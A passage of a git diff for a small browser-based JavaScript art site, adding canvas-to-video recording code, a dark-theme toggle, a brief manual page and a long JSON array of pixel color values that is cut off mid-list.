+rectype.innerHTML=""; +let rctpcntnr = 0;rectype.addEventListener("change",(e)=>{rctpcntnr=parseInt(rectype.value);console.log(rctpcntnr);}) +document.querySelector("#options").appendChild(document.createElement("label")); +Array.from(document.querySelector("#options").children).at(-1).setAttribute("for","record-settings"); +Array.from(document.querySelector("#options").children).at(-1).innerHTML="Record setting: "; +Array.from(document.querySelector("#options").children).at(-1).appendChild(rectype); +var canvas = document.querySelector("canvas#canvas"); +var recordCanvas = document.createElement("canvas"); +var rCLImage = new Image(); +rCLImage.src = "/static/jsam-record.png"; +var rctx = recordCanvas.getContext("2d"); +var ctx = canvas.getContext("2d"); + +var videoStream = recordCanvas.captureStream(60); +var mediaRecorder = new MediaRecorder(videoStream); +console.log(videoStream) + +var chunks = []; +mediaRecorder.ondataavailable = function(e) { + chunks.push(e.data); +}; + +mediaRecorder.onstop = function(e) { + var blob = new Blob(chunks, { 'type' : 'video/mp4' }); + chunks = []; + var videoURL = URL.createObjectURL(blob); + downloadURI(videoURL, "jsart.mp4"); +}; +mediaRecorder.ondataavailable = function(e) { + chunks.push(e.data); +}; + +let recordBtn = document.createElement("button"); +recordBtn.innerHTML="Record"; +let recordState = 0; +recordBtn.addEventListener("click",()=>{ + if(recordState){ + mediaRecorder.stop(); + recordBtn.innerHTML="Record"; + reccanvas = 0; + } else { + mediaRecorder.start(); + recordBtn.innerHTML="Recording..."; + reccanvas = 1; + rCanvasFrame(); + } + recordState = 1 - recordState; +},false); +recordBtn.setAttribute("class","le-button") +document.querySelector(".buttonstop").appendChild(recordBtn); +let reccanvas = 0; +function rCanvasFrame(){ + rctx.imageSmoothingEnabled=false; + if(rctpcntnr==0){ + recordCanvas.width = 1024; + recordCanvas.height = 768; + rctx.drawImage(rCLImage,0,0,256,768); + rctx.drawImage(canvas,256,0,768,768); + }else if(rctpcntnr==1) { + recordCanvas.width=recordCanvas.height=768; + rctx.drawImage(canvas,0,0,768,768); + } else { + recordCanvas.width=canvas.width; + recordCanvas.height=canvas.height; + rctx.drawImage(canvas,0,0); + } + if(reccanvas){window.requestAnimationFrame(rCanvasFrame);} +} +function downloadURI(uri, name) { + var link = document.createElement("a"); + link.download = name; + link.href = uri; + document.body.appendChild(link); + link.click(); + document.body.removeChild(link); + delete link; +} + +}); \ No newline at end of file diff --git a/jsam.codersquack.nl/js/theme.js b/jsam.codersquack.nl/js/theme.js new file mode 100644 index 0000000..427fb7f --- /dev/null +++ b/jsam.codersquack.nl/js/theme.js @@ -0,0 +1,5 @@ +function togglethemes(){ + if(localStorage["theme"]=="dark"){document.body.classList.add("dark")}; + try{document.querySelector("#dark").addEventListener("click",()=>{document.body.classList.toggle("dark");if(document.body.classList.contains("dark")){localStorage["theme"]="dark"}else{localStorage["theme"]="light"}},false)}catch{console.log("theme button not found");} +} +window.addEventListener("load",togglethemes); \ No newline at end of file diff --git a/jsam.codersquack.nl/static/jsam-manual.html b/jsam.codersquack.nl/static/jsam-manual.html new file mode 100644 index 0000000..60f0d82 --- /dev/null +++ b/jsam.codersquack.nl/static/jsam-manual.html @@ -0,0 +1,15 @@ + + + JSArt Modded + + + + + + + + +
JSArt-M Manual
Welcome to the JSArt Modded Manual!
Here, I'm gonna tell you how to use JSArt...without knowing any JS. So, let's get into it!

Okay, first, the variables. There are currently 12 of them - i, t, x, y, mx, my, sw, sh, c, ic, cl and k. You can read what they do in the main page of this website.

+
+ + \ No newline at end of file diff --git a/jsam.codersquack.nl/static/jsam-record.png b/jsam.codersquack.nl/static/jsam-record.png new file mode 100644 index 0000000..7240d64 Binary files /dev/null and b/jsam.codersquack.nl/static/jsam-record.png differ diff --git a/jsam.codersquack.nl/static/lesus.json b/jsam.codersquack.nl/static/lesus.json new file mode 100644 index 0000000..f6a090e --- /dev/null +++ b/jsam.codersquack.nl/static/lesus.json @@ -0,0 +1 @@ +[2039593, 1973800, 1908007, 1908007, 1908007, 1842214, 1776421, 1776421, 1908007, 1842214, 1842214, 1842214, 1842214, 1908007, 1908007, 1973800, 1908007, 1908007, 1973800, 1908007, 1644835, 1447456, 1381663, 1447456, 1447456, 1381663, 1381663, 1579042, 1710628, 1644835, 1579042, 1513249, 1447456, 1710628, 1118491, 1118491, 1381663, 1250077, 1250077, 1118491, 1052698, 1908007, 1908007, 1644835, 1908007, 1908007, 1644835, 1776421, 1644835, 1644835, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1644835, 1710628, 1710628, 1644835, 1644835, 1710628, 1710628, 1710628, 1579042, 1579042, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1513249, 1513249, 1513249, 1447456, 1447456, 1579042, 1579042, 1381663, 1118491, 1250077, 1250077, 1250077, 1184284, 1250077, 1315870, 1381663, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1513249, 1381663, 1315870, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1315870, 1315870, 1315870, 1315870, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1513249, 1447456, 1447456, 1447456, 1381663, 1315870, 1315870, 1315870, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1315870, 1315870, 1381663, 1381663, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1381663, 1381663, 1447456, 1513249, 1579042, 1579042, 1579042, 1447456, 1513249, 1579042, 1644835, 1710628, 1710628, 1710628, 1644835, 1644835, 1513249, 1447456, 1513249, 1513249, 1513249, 1513249, 1579042, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 2105386, 2039593, 1973800, 1973800, 1973800, 1842214, 1842214, 1908007, 1908007, 1908007, 1908007, 1908007, 1908007, 1908007, 1973800, 1973800, 1973800, 1973800, 1973800, 1908007, 1776421, 1579042, 1579042, 1644835, 1644835, 1579042, 1579042, 1710628, 1776421, 1776421, 1644835, 1644835, 1447456, 1644835, 1250077, 1250077, 1447456, 1315870, 1315870, 1250077, 1315870, 1842214, 1842214, 1644835, 1842214, 1842214, 1644835, 1710628, 1710628, 1710628, 1710628, 1776421, 1776421, 1776421, 1710628, 1710628, 1710628, 1776421, 1776421, 1710628, 1710628, 1776421, 1776421, 1776421, 1644835, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1579042, 1447456, 1447456, 1447456, 1447456, 1513249, 1513249, 1381663, 1184284, 1315870, 1315870, 1315870, 1315870, 1315870, 1381663, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1513249, 1381663, 1315870, 1381663, 1447456, 1447456, 1381663, 1447456, 1447456, 1447456, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1513249, 1447456, 1447456, 1447456, 1447456, 1315870, 1315870, 1315870, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1315870, 1315870, 1381663, 1381663, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1513249, 1447456, 1381663, 1447456, 1513249, 1513249, 1513249, 1447456, 1447456, 1513249, 1579042, 1579042, 1644835, 1644835, 1644835, 1644835, 1710628, 1579042, 1513249, 1579042, 1579042, 1579042, 1579042, 1644835, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 2105386, 2105386, 2105386, 2105386, 1973800, 1908007, 1908007, 1973800, 1973800, 1973800, 1973800, 1973800, 1973800, 1973800, 1973800, 2039593, 2039593, 1973800, 1973800, 1973800, 1908007, 1842214, 1842214, 1908007, 2039593, 1908007, 1908007, 1908007, 1973800, 1973800, 1842214, 1842214, 1710628, 1908007, 1644835, 1644835, 1776421, 1710628, 1710628, 1710628, 1710628, 1776421, 1776421, 1710628, 1776421, 1776421, 1710628, 1644835, 1644835, 1644835, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1644835, 1710628, 1710628, 1644835, 1644835, 1710628, 1710628, 1710628, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1579042, 1644835, 1710628, 1644835, 1644835, 1710628, 1644835, 1579042, 1447456, 1513249, 1513249, 1447456, 1513249, 1513249, 1447456, 1381663, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1315870, 1250077, 1315870, 1381663, 1381663, 1315870, 1381663, 1381663, 1381663, 1381663, 1381663, 1315870, 1315870, 1315870, 1315870, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1315870, 1315870, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1315870, 1315870, 1381663, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1513249, 1447456, 1381663, 1381663, 1447456, 1513249, 1513249, 1447456, 1447456, 1513249, 1579042, 1579042, 1644835, 1644835, 1644835, 1579042, 1710628, 1644835, 1579042, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 2105386, 2105386, 2105386, 2039593, 1973800, 1908007, 1908007, 1973800, 1973800, 1973800, 1973800, 1973800, 1973800, 1973800, 1973800, 1973800, 2039593, 1973800, 1908007, 1908007, 2039593, 2105386, 2236972, 2236972, 2368558, 2302765, 2171179, 2171179, 2171179, 2105386, 2039593, 2039593, 1973800, 2105386, 2105386, 2105386, 2171179, 2105386, 2171179, 2171179, 2105386, 1710628, 1710628, 1776421, 1710628, 1776421, 1776421, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1710628, 1644835, 1579042, 1579042, 1644835, 1710628, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1710628, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1513249, 1513249, 1579042, 1513249, 1513249, 1513249, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1513249, 1447456, 1447456, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1447456, 1315870, 1250077, 1315870, 1315870, 1315870, 1315870, 1315870, 1315870, 1315870, 1315870, 1315870, 1315870, 1315870, 1315870, 1315870, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1381663, 1315870, 1381663, 1315870, 1315870, 1315870, 1315870, 1315870, 1315870, 1315870, 1315870, 1315870, 1381663, 1381663, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1447456, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1513249, 1579042, 1579042, 1513249, 1513249, 1579042, 1579042, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1579042, 1579042, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 2171179, 2039593, 1973800, 2039593, 1973800, 1908007, 1908007, 1908007, 1908007, 1908007, 1973800, 1973800, 1908007, 1908007, 1908007, 1842214, 1908007, 1842214, 1842214, 1908007, 2105386, 2302765, 2434351, 2434351, 2434351, 2434351, 2302765, 2236972, 2171179, 2105386, 2105386, 2039593, 1973800, 2039593, 2236972, 2236972, 2171179, 2236972, 2236972, 2302765, 2236972, 1710628, 1644835, 1842214, 1776421, 1776421, 1842214, 1644835, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1776421, 1710628, 1644835, 1710628, 1776421, 1776421, 1710628, 1644835, 1579042, 1579042, 1579042, 1579042, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1513249, 1579042, 1579042, 1579042, 1513249, 1513249, 1644835, 1710628, 1710628, 1710628, 1710628, 1710628, 1644835, 1513249, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1513249, 1381663, 1315870, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1381663, 1381663, 1447456, 1513249, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1513249, 1579042, 1579042, 1579042, 1644835, 1644835, 1644835, 1579042, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 2171179, 2039593, 1973800, 2039593, 2039593, 1973800, 1908007, 1908007, 1908007, 1908007, 1973800, 1973800, 1973800, 1908007, 1842214, 1776421, 1842214, 1842214, 1842214, 1842214, 2039593, 2236972, 2368558, 2368558, 2302765, 2302765, 2236972, 2105386, 2039593, 1973800, 1973800, 1908007, 1973800, 1842214, 2171179, 2171179, 2039593, 2171179, 2105386, 2171179, 2171179, 1710628, 1710628, 1908007, 1776421, 1776421, 1842214, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1776421, 1710628, 1644835, 1644835, 1710628, 1776421, 1710628, 1644835, 1644835, 1644835, 1579042, 1579042, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1579042, 1579042, 1579042, 1579042, 1579042, 1513249, 1644835, 1710628, 1842214, 1710628, 1710628, 1776421, 1710628, 1513249, 1447456, 1447456, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1381663, 1315870, 1381663, 1447456, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1381663, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1513249, 1579042, 1513249, 1447456, 1513249, 1579042, 1579042, 1579042, 1513249, 1579042, 1579042, 1579042, 1579042, 1579042, 1513249, 1513249, 1513249, 1447456, 1579042, 1644835, 1644835, 1644835, 1644835, 1644835, 1579042, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 1644835, 2171179, 2105386, 2105386, 2105386, 2039593, 1973800, 1973800, 1973800, 1973800, 1973800, 2039593, 2039593, 1973800, 1908007, 1842214, 1842214, 1842214, 1842214, 1842214, 1842214, 1973800, 2105386, 2171179, 2105386, 2105386, 2171179, 2105386, 1973800, 1842214, 1842214, 1776421, 1710628, 1908007, 1644835, 2039593, 2039593, 1908007, 2039593, 1973800, 2039593, 1973800, 1776421, 1842214, 1908007, 1908007, 1842214, 1908007, 1842214, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1644835, 1644835, 1710628, 1776421, 1710628, 1710628, 1710628, 1710628, 1644835, 1644835, 1644835, 1644835, 1644835, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1579042, 1513249, 1513249, 1579042, 1579042, 1513249, 1513249, 1579042, 1644835, 1579042, 1579042, 1644835, 1644835, 1579042, 1644835, 1776421, 1776421, 1710628, 1710628, 1842214, 1776421, 1579042, 1513249, 1513249, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1513249, 1447456, 1315870, 1381663, 1447456, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1381663, 1381663, 1447456, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1381663, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1381663, 1381663, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1644835, 1579042, 1513249, 1579042, 1579042, 1644835, 1644835, 1579042, 1579042, 1579042, 1579042, 1579042, 1513249, 1513249, 1513249, 1513249, 1447456, 1579042, 1710628, 1644835, 1644835, 1710628, 1710628, 1644835, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 2236972, 2171179, 2171179, 2171179, 2105386, 1973800, 1973800, 2105386, 2039593, 2039593, 2105386, 2105386, 2039593, 1973800, 1908007, 1842214, 1842214, 1908007, 1908007, 1842214, 1908007, 1973800, 1973800, 1908007, 1973800, 2039593, 2039593, 1842214, 1776421, 1710628, 1710628, 1644835, 1776421, 1447456, 1908007, 1908007, 1710628, 1908007, 1776421, 1842214, 1842214, 1842214, 1842214, 1973800, 1973800, 1908007, 1908007, 1908007, 1776421, 1776421, 1776421, 1776421, 1776421, 1776421, 1776421, 1776421, 1776421, 1776421, 1776421, 1710628, 1710628, 1776421, 1842214, 1776421, 1776421, 1776421, 1776421, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1644835, 1579042, 1579042, 1644835, 1644835, 1579042, 1579042, 1644835, 1710628, 1644835, 1644835, 1710628, 1710628, 1644835, 1644835, 1776421, 1776421, 1644835, 1710628, 1842214, 1776421, 1579042, 1513249, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1644835, 1513249, 1447456, 1447456, 1513249, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1381663, 1381663, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1381663, 1381663, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1447456, 1381663, 1381663, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1579042, 1513249, 1513249, 1579042, 1644835, 1710628, 1710628, 1710628, 1644835, 1644835, 1579042, 1579042, 1579042, 1513249, 1513249, 1513249, 1513249, 1644835, 1776421, 1710628, 1710628, 1776421, 1776421, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 1710628, 2106154, 2040361, 1974568, 2040361, 1974568, 1908775, 1908775, 1974568, 2040361, 1974568, 1974568, 2040361, 1974568, 1842982, 1842982, 1842982, 1908775, 1908775, 1842982, 1842982, 1777189, 1711396, 1711396, 1711396, 1777189, 1711396, 1711396, 1645603, 1645603, 1579810, 1514017, 1448224, 1448224, 1514017, 1579810, 1645603, 1645603, 1645603, 1579810, 1579810, 1579810, 1711396, 1777189, 1777189, 1777189, 1777189, 1777189, 1711396, 1645603, 1645603, 1711396, 1711396, 1711396, 1711396, 1711396, 1711396, 1711396, 1711396, 1711396, 1711396, 1711396, 1711396, 1711396, 1711396, 1645603, 1645603, 1579810, 1579810, 1645603, 1645603, 1645603, 1645603, 1645603, 1645603, 1645603, 1645603, 1645603, 1645603, 1645603, 1645603, 1645603, 1645603, 1645603, 1645603, 1645603, 1645603, 1645603, 1645603, 1579810, 1514017, 1514017, 1579810, 1579810, 1448224, 1448224, 1514017, 1448224, 1579810, 1579810, 1514017, 1448224, 1514017, 1514017, 1514017, 1448224, 1448224, 1514017, 1514017, 1514017, 1448224, 1448224, 1382431, 1579040, 1579040, 1579040, 1579040, 1579040, 1579040, 1579040, 1579040, 1579040, 1579040, 1579040, 1579040, 1579040, 1579040, 1579040, 1579040, 1514017, 1382431, 1382431, 1382431, 1448224, 1448224, 1382431, 1382431, 1448224, 1382431, 1382431, 1382431, 1448224, 1448224, 1382431, 1316638, 1381661, 1381661, 1447454, 1447454, 1447454, 1447454, 1447454, 1447454, 1447454, 1447454, 1447454, 1447454, 1447454, 1513247, 1513247, 1513247, 1382431, 1382431, 1382431, 1382431, 1382431, 1382431, 1382431, 1382431, 1382431, 1382431, 1316638, 1250845, 1250845, 1250845, 1316638, 1316638, 1447454, 1381661, 1381661, 1381661, 1447454, 1447454, 1447454, 1381661, 1513247, 1513247, 1579040, 1579040, 1579040, 1579040, 1579040, 1579040, 1579040, 1579040, 1579040, 1579040, 1579040, 1579040, 1579040, 1579040, 1579040, 1579040, 1579040, 1579040, 1579040, 1579040, 1579040, 1579040, 1448224, 1448224, 1514017, 1514017, 1514017, 1514017, 1579810, 1579810, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1514017, 1448224, 1579810, 1645603, 1645603, 1645603, 1711396, 1645603, 1645603, 1645603, 1645603, 1645603, 1645603, 1645603, 1645603, 1645603, 1645603, 1645603, 1645603, 1645603, 1645603, 1645603, 1645603, 1645603, 1645603, 1711396, 1711396, 1645603, 1645603, 1645603, 1645603, 1645603, 1645603, 2106154, 2040361, 1974568, 1974568, 1974568, 1908775, 1908775, 1908775, 1974568, 1908775, 1908775, 1974568, 1908775, 1842982, 1777189, 1777189, 1842982, 1842982, 1842982, 1777189, 1777189, 1777189, 1777189, 1777189, 1777189, 1777189, 1777189, 1777189, 1777189, 1777189, 1711396, 1645603, 1645603, 1579810, 1514017, 1514017, 1579810, 1645603, 1579810, 1514017, 1579810, 1711396, 1777189, 1777189, 1777189, 1777189, 1777189, 1711396, 1645603, 1645603, 1645603, 1711396, 1711396, 1711396, 1711396, 1645603, 1711396, 1711396, 1711396, 1711396, 1711396, 1711396, 1711396, 1777189, 1711396, 1645603, 1645603, 1645603, 1645603, 1645603, 1645603, 1645603, 1645603, 1645603, 1645603, 1645603, 1645603, 1645603, 1645603, 1645603, 1645603, 1645603, 1579810, 1579810, 1579810, 1579810, 1645603, 1645603, 1579810, 1514017, 1514017, 1579810, 1514017, 1514017, 1448224, 1514017, 1514017, 1514017, 1514017, 1448224, 1514017, 1514017, 1382431, 1250845, 1316638, 1316638, 1316638, 1316638, 1382431, 1382431, 1448224, 1448224, 1579040, 1579040, 1579040, 1579040, 1579040, 1579040, 1579040, 1579040, 1579040, 1579040, 1579040, 1579040, 1579040, 1579040, 1579040, 1579040, 1448224, 1316638, 1250845, 1316638, 1382431, 1316638, 1316638, 1316638, 1382431, 1382431, 1316638, 1316638, 1382431, 1382431, 1316638, 1250845, 1315868, 1381661, 1381661, 1381661, 1381661, 1381661, 1381661, 1381661, 1381661, 1381661, 1381661, 1381661, 1381661, 1447454, 1447454, 1447454, 1316638, 1316638, 1316638, 1316638, 1316638, 1316638, 1316638, 1316638, 1316638, 1316638, 1250845, 1185052, 1185052, 1185052, 1250845, 1250845, 1447454, 1447454, 1381661, 1447454, 1447454, 1447454, 1381661, 1381661, 1513247, 1513247, 1579040, 1579040, 1579040, 1579040, 1579040, 1579040, 1579040, 1579040, 1579040, 1579040, 1579040, 1579040, 1579040, 1579040, 1579040, 1579040, 1579040, 1579040, 1579040, 1579040, 1579040, 1579040, 1382431, 1382431, 1448224, 1448224, 1448224, 1448224, 1514017, 1514017, 1514017, 1514017, 1514017, 1448224, 1448224, 1514017, 1514017, 1514017, 1382431, 1514017, 1579810, 1579810, 1579810, 1645603, 1645603, 1579810, 1645603, 1645603, 1645603, 1645603, 1645603, 1645603, 1645603, 1645603, 1645603, 1645603, 1645603, 1645603, 1645603, 1645603, 1645603, 1579810, 1645603, 1579810, 1579810, 1579810, 1579810, 1579810, 1579810, 1579810, 2106154, 2040361, 1974568, 1974568, 1974568, 1908775, 1842982, 1908775, 1974568, 1908775, 1908775, 1974568, 1908775, 1842982, 1777189, 1777189, 1777189, 1777189, 1777189, 1842982, 1842982, 1908775, 1908775, 1908775, 1908775, 1908775, 1908775, 1974568, 2040361, 2040361, 2040361, 1974568, 1974568, 1777189, 1579810, 1514017, 1645603, 1711396, 1645603, 1514017, 1579810, 1711396, 1842982, 1777189, 1777189, 1777189, 1777189, 1711396, 1645603, 1645603, 1645603, 